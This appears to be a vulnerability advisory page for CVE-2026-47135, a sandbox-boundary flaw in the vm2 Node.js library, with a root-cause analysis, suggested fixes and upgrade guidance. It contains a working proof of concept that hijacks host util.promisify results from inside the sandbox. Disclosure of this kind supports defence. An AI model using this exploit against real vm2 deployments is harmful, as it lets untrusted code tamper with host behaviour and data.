Loading...
Skip to main content

CVE-2026-47135

HIGH

vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks

Published May 29, 2026Updated June 12, 2026Source: osv

Summary

## Summary vm2 3.11.2 `Symbol.for` override in `setup-sandbox.js` only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's `set`/`defineProperty`/`deleteProperty` traps having **no** `isDangerousCrossRealmSymbol` key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full `util.promisify` hijack chain. ## Root Cause **1. Incomplete `Symbol.for` override** (`setup-sandbox.js:132-142`): ```js Symbol.for = function (key) { const keyStr = '' + key; if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect; if (keyStr === 'nodejs.rejection') return blockedSymbolRejection; return originalSymbolFor(keyStr); // everything else passes through }; ``` Only `inspect.custom` and `rejection` are blocked. The following 7 Node.js internal symbols pass through as **real cross-realm symbols**: - `nodejs.util.promisify.custom` - `nodejs.stream.readable` - `nodejs.stream.writable` - `nodejs.stream.duplex` - `nodejs.stream.transform` - `nodejs.webstream.isClosedPromise` - `nodejs.webstream.controllerErrorFunction` Note: `bridge.js` `isDangerousCrossRealmSymbol` covers `promisify.custom` on **reads**, but the `Symbol.for` override in setup-sandbox does not block it at the source. **2. Missing symbol check in bridge write traps** (`bridge.js`): The `get` trap (line 1148) and `ownKeys` trap (line 1541) both check `isDangerousCrossRealmSymbol(key)`, but `set` (line 1231), `defineProperty` (line 1427), and `deleteProperty` (line 1493) have **no such check**. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object. **3. Incomplete filters in setup-sandbox.js**: `isDangerousSymbol()`, `Object.getOwnPropertyDescriptors` override, and `Object.assign` override only filter `inspect.custom` and `rejection` — missing `promisify.custom` and all stream/webstream symbols. ## Verified Exploitation: util.promisify Hijack ```js const { VM } = require('vm2'); const util = require('util'); const vm = new VM(); const hostFn = function readFile(path, cb) { cb(null, 'real data'); }; vm.setGlobal('hostFn', hostFn); // Sandbox writes promisify.custom to host function vm.run(` const kPromisify = Symbol.for('nodejs.util.promisify.custom'); hostFn[kPromisify] = function(path) { return Promise.resolve('HIJACKED by sandbox'); }; `); // Host-side: promisified function now returns sandbox-controlled value const asyncRead = util.promisify(hostFn); asyncRead('/etc/passwd').then(console.log); // Output: "HIJACKED by sandbox" ``` **Additional verified attacks:** - Writing `nodejs.stream.writable` to a host Readable stream, altering its duck-typing identity - `Object.assign` propagates unblocked symbols from sandbox source to host target - `Object.defineProperty` with unblocked symbol key succeeds on host objects - `delete hostObj[unblocked_symbol]` succeeds, removing host-set symbol properties ## Impact - **Semantic confusion**: Sandbox controls host `util.promisify` behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox. - **Data integrity**: Host code relying on promisified function results gets sandbox-controlled values. - **Defense bypass**: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation. This is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties. ## Affected Versions - vm2 <= 3.11.2 (all 3.x versions) ## Environment - Node.js v24.14.0 - macOS (Darwin 25.4.0) ## Suggested Fix 1. **`setup-sandbox.js`**: Block all `nodejs.*` prefixed symbols: ```js Symbol.for = function (key) { const keyStr = '' + key; if (keyStr.startsWith('nodejs.')) return Symbol(keyStr); return originalSymbolFor(keyStr); }; ``` 2. **`bridge.js`**: Add check to write traps: ```js set(target, key, value, receiver) { if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA); // ... } ``` 3. **`setup-sandbox.js`**: Sync `isDangerousSymbol`, `Object.getOwnPropertyDescriptors`, `Object.assign` to cover all dangerous symbols.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.11.4 or later
npm install vm2@3.11.4

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
vm2
npm
All versions3.11.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-693
    Protection Mechanism FailureMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.7 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-47135?
vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.7/10).
How do I check if my project is affected by CVE-2026-47135?
CVE-2026-47135 affects vm2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-47135 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.7

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-m5q2-4fm3-vfqp

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies